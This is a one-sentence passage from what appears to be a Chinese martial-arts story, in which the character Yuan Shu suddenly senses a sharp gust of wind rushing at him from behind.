霎那间,元舒感觉一股利风自他脑后呼来——